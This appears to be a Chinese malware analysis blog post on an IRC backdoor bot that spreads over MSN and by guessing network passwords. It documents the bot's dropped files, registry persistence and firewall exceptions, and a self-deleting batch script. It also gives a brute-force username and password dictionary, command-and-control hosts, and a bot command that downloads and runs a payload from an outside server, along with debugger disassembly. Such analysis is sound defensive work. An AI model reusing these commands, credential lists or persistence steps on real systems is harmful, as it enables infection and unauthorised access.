MSN机器人Win32.IRCBot病毒超详细分析

中文名称: MSN机器人变种

病毒类型: 后门类

文件MD5: C06D070C232BC6AC6346CBD282EF73AE

文件长度: 40,960 字节

感染系统: Windows9X以上版本

开发工具: Microsoft Visual C++

加壳类型: Kkrunchy 0.23 (Arabic)

病毒描述:

该病毒运行后,衍生病毒副本到系统目录下,添加注册表自动运行项以跟随系统引导病毒体。病毒体判断本地是否有MSN 窗体存在,如无则连接IRC服务器,接收指令下载病毒体到本机运行,如有则向所有联系人发送病毒副本*.rar。由于病毒体具有执行IRC指令的功能,受感染用户可被控制下载任意程序到本机执行,极具危害性与传播性。

行为分析

1、文件运行后会衍生副本

      %System32%\*.exe
%System32%\*.rar
/*字符‘*’代表任意多个字符,*.exe病毒名从自身字符串序列中随机选取*/
lssas.exe"
Isass.exe"
csrs.exe"
logon.exe"
winIogon.exe"
explorer.exe"
winamp.exe"
firewall.exe"
spoolsvc.exe"
spooIsv.exe"
algs.exe"
iexplore.exe"
//*.rar文件名从下列字符串中选取
game
video
photoalbum

2、新增注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\

Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\
键值:"%WINDIR%System32\explorer.exe"
字符串"%WINDIR%System32\explorer.exe:*:Enabled:Windows Explorer"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
键值:Windows Explorer
字符串"%WinDir%\System32\explorer.exe"
/*病毒名并不一定,参考第一项注释*/

3、如有MSN程序存在,则向联系人发送病毒副本video.rar,病毒测试用的MSN版本为最新的8.1(Build 8.1 0178.00);发送的文件名从病毒体自带字符串中选取,参数第一项注释。

4、病毒生成自创建.bat文件,用于在衍生病毒副本后,删除自身:

     @echo off
:deleteagain
del /A:H /F 病毒名.exe
del /F 病毒名.exe
if exist 病毒名.exe goto deleteagain
del fcmhl.bat

通过自带字典枚举用户名与密码试图传播:

用户名表

staff 、teacher、owner、 student、intranet、 main、office、control、 siemens、compaq、dell、cisco、 oracle、data、 access、 database、domain、backup、technical、mary、 katie、 kate、george、eric、 none、 guest、 chris、 neil、 brian、 susan、luke、peter、john、 mike、 bill、 fred、wwwadmin、oemuser、user、 homeuser、home、 internet、root、server、linux、 unix、 computer、admin、 admins、administrat 、 administrateur 、administrador、administrator

密码列表

Winpass、blank、nokia、 orainstall、sqlpassoainstall、db1234、databasepassword、databasepass、dbpassword 、dbpass 、domainpassword 、domainpass 、hello、hell、love、money、 slut、 bitch 、fuck 、exchange 、loginpass、login 、win2000、winnt、winxp 、win2k、win98 、windows 、oeminstall、accounting、accounts 、letmein、outlookmail 、qwerty、temp123、temp、null、default、changeme、demo、 test 、 2005、 2004 、 2001 、 secret、 payday、 deadline、work、 1234567890、 123456789、 12345678、 1234567、123456、 12345、 1234 、 pass 、 pass1234、 passwd、 password、 password1

    网络行为:

      (1)协议:IRC
目的端口:7777
域名或IP地址:n.nadnadzz.info(67.43.232.37(美国))
(2)协议:IRC
目的端口:6666
域名或IP地址:(67.43.232.36 (美国))
(3)协议:IRC
目的端口:5555
域名:n.ircstyle.net(67.43.232.35(美国))

机器人BOT启动后与服务器的交互信息如下,由于服务器关闭,未能抓取更多网络包:

      USER mrwxmt mrwxmt mrwxmt :auwgwkmzxqdrfvoo
NICK DwPkIqCi
:hub.18161.com 001 DwPkIqCi :edyou, DwPkIqCi!mrwxmt@本地IP
:hub.18161.com 005 DwPkIqCi MAP KNOCK SAFELIST HCN MAXCHANNELS=80 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server
:hub.18161.com 005 DwPkIqCi WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=edyou CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server
:DwPkIqCi MODE DwPkIqCi :+iRp
MODE DwPkIqCi +xi
JOIN #braz
USERHOST DwPkIqCi
:[email protected] JOIN :#braz
:hub.18161.com 332 DwPkIqCi #braz :=d4hhWo0HNky1/vuRXCRNhb7Sf+SmJU3bmw48NQteMwR
:hub.18161.com 333 DwPkIqCi #braz ryin 1191283243
:hub.18161.com 353 DwPkIqCi @ #braz :DwPkIqCi
:hub.18161.com 366 DwPkIqCi #braz :End of /NAMES list.
:hub.18161.com 302 DwPkIqCi :[email protected]
MODE #braz +smntu
:hub.18161.com 482 DwPkIqCi #braz :You’re not channel operator
JOIN #rs
:hub.18161.com 474 DwPkIqCi #rs :Cannot join channel (+b)
PING :hub.18161.com
PONG :hub.18161.com

连接的IRC服务器列表:

      n.nadnadzz.info
hub.18161.com
n.ircstyle.net

加入频道:

#braz
#rs

加入频道后接收指令下载病毒体:

      : n.ircstyle.net [00|CHN|XP|144635] #game :!ix.wget -S -s|!ix.wget
http://nadsam0.info(72.10.167.74)/msnz.exe r –s
/*从指定地地址下载病毒体,衍生到c:\根目录下,并重命名为msnz.exe ,立刻执行*/

机器人支持下列标准IRC指令:

      USER %s %s %s :%s
PASS %s
NOTICE %s :
PRIVMSG %s :

响应mIRC如下命令

      NOTICE
NICK
USERHOST %s
MODE %s +xi
MODE %s +smntu
JOIN
ERROR
DCC SEND "%s" %d %s %d

响应eggdrop v1.6.16如下命令

      SEND
PRIVMSG
MODE
PONG
PONG %s

 

代码分析

创建互斥体

004180F3    FF15 FC904100   CALL DWORD PTR DS:[4190FC]               ; kernel32.CreateMutexA

0012ECB4   00000000  |pSecurity = NULL

0012ECB8   00000000  |InitialOwner = FALSE

0012ECBC   0012EE64  \MutexName = "fde34bde0f48c517f3c521468d9a48103a72"     //互斥体名字

获得系统目录以衍生病毒,%WinDir%\System32\

      00408706 |. FF15 44904100 |CALL DWORD PTR DS:[419044] ; \GetSystemDirectoryA
0040876C |. 50 |PUSH EAX ; /s2 = "病毒体当前路径"
0040876D |. 8D85 E4FDFFFF |LEA EAX,DWORD PTR SS:[EBP-21C] ; |
00408773 |. 50 |PUSH EAX ; |s1 = "C:\WINDOWS\System32\lssas.exe"
00408774 |. E8 5B000100 |CALL zyc.004187D4 ; \_stricmp
00408881 |. 50 PUSH EAX ; /FileName = "C:\WINDOWS\System32\winamp.exe"
00408882 |. FF15 20914100 CALL DWORD PTR DS:[419120] ; \DeleteFileA
00408888 |. 6A 00 PUSH 0 ; /FailIfExists = FALSE
0040888A |. 8D85 E8FEFFFF LEA EAX,DWORD PTR SS:[EBP-118] ; |
00408890 |. 50 PUSH EAX ; |NewFileName = "C:\WINDOWS\System32\winamp.exe"
00408891 |. 8D85 DCFCFFFF LEA EAX,DWORD PTR SS:[EBP-324] ; |
00408897 |. 50 PUSH EAX ; |ExistingFileName
00408898 |. FF15 F4904100 CALL DWORD PTR DS:[4190F4] ; \CopyFileA

设置衍生病毒体文件属性

      004088BB |> \6A 04 PUSH 4 ; /FileAttributes = SYSTEM
004088BD |. 8D85 E8FEFFFF LEA EAX,DWORD PTR SS:[EBP-118] ; |
004088C3 |. 50 PUSH EAX ; |FileName = "C:\WINDOWS\System32\winamp.exe"
004088C4 |. FF15 24914100 CALL DWORD PTR DS:[419124] ; \SetFileAttributesA
004088CA |. 6A 02 PUSH 2 ; /FileAttributes = HIDDEN
004088CC |. 8D85 E8FEFFFF LEA EAX,DWORD PTR SS:[EBP-118] ; |
004088D2 |. 50 PUSH EAX ; |FileName = "C:\WINDOWS\System32\winamp.exe"
004088D3 |. FF15 24914100 CALL DWORD PTR DS:[419124] ; \SetFileAttributesA

创建注册表键值:

      00408465 FF15 14904100 CALL DWORD PTR DS:[419014] ; ADVAPI32.RegCreateKeyExA
0012E80C 0040846B /CALL 到 RegCreateKeyExA 来自 Backdoor.00408465
0012E810 80000002 |hKey = HKEY_LOCAL_MACHINE
0012E814 0041DB68 |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
0012E818 00000000 |Reserved = 0
0012E81C 00000000 |Class = NULL
0012E820 00000000 |Options = REG_OPTION_NON_VOLATILE
0012E824 000F003F |Access = KEY_ALL_ACCESS
0012E828 00000000 |pSecurity = NULL
0012E82C 0012E834 |pHandle = 0012E834
0012E830 00000000 \pDisposition = NULL
004084CA FF15 10904100 CALL DWORD PTR DS:[419010] ; ADVAPI32.RegSetValueExA
0012E81C 0000000C |hKey = C
0012E820 0041DA50 |ValueName = "Client Server Runtime Process"
0012E824 00000000 |Reserved = 0
0012E828 00000001 |ValueType = REG_SZ
0012E82C 0012E838 |Buffer = 0012E838
0012E830 0000001D \BufSize = 1D (29.)
0040827E FF15 14904100 CALL DWORD PTR DS:[419014] ; ADVAPI32.RegCreateKeyExA
0012D7F4 80000002 |hKey = HKEY_LOCAL_MACHINE
0012D7F8 0041DAD4 |Subkey = "SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\

AuthorizedApplications\List"
0012D7FC 00000000 |Reserved = 0
0012D800 00000000 |Class = NULL
0012D804 00000000 |Options = REG_OPTION_NON_VOLATILE
0012D808 00020006 |Access = KEY_WRITE
0012D80C 00000000 |pSecurity = NULL
0012D810 0012D818 |pHandle = 0012D818
0012D814 0012D81C \pDisposition = 0012D81C

比较,等于0则结束程序

      0041835E 833D 282B4200 0>CMP DWORD PTR DS:[422B28],0
00418365 74 11 JE SHORT Backdoor.00418378

IRC命令相关函数:

      0041836C 68 A8274200 PUSH Backdoor.004227A8 ; ASCII "#braz"
00418371 E8 8F69FFFF CALL Backdoor.0040ED05 //IRC相关函数调用
0040EC05 68 A0364200 PUSH Backdoor.004236A0 ; ASCII "7777"
0040EC0A 68 A0354200 PUSH Backdoor.004235A0 ; ASCII "n.nadnadzz.info"
0040EC0F E8 D664FFFF CALL Backdoor.004050EA
0040E924 68 D03B4200 PUSH Backdoor.00423BD0 ; ASCII "zeuury"
0040E929 E8 669A0000 CALL Backdoor.00418394 ; JMP 到 MSVCRT.strcpy 产生昵称
0040E957 68 503D4200 PUSH Backdoor.00423D50 ; ASCII "qemwjvtrbkmkfnja"
0040E95C E8 339A0000 CALL Backdoor.00418394 ; JMP 到 MSVCRT.strcpy 产生随机字符
0040E97F 68 90ED4100 PUSH Backdoor.0041ED90 ; ASCII "USER %s %s %s :%s" 用户名组成形式
0040E984 E8 9C050000 CALL Backdoor.0040EF25
0012E6E8 0012E830 |FileName = "C:\WINDOWS\System32\webcl32.dll"
00409B7A 68 70DE4100 PUSH Backdoor.0041DE70 ; ASCII "USA"
00409B7F FF75 08 PUSH DWORD PTR SS:[EBP+8]
00409B82 E8 4DEC0000 CALL Backdoor.004187D4 ; JMP 到 MSVCRT._stricmp
0012EA2C 0012EA4C |s1 = "CHN"
0012EA30 0041DE70 \s2 = "USA"
0040EBA1 68 74EC4100 PUSH Backdoor.0041EC74 ; ASCII "NICK %s"
0040EBA6 E8 7A030000 CALL Backdoor.0040EF25
0012EA3C 0041EC74 ASCII "NICK %s"
0012EA40 0012EC18 ASCII "[UNK][0]1B\AQ"

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据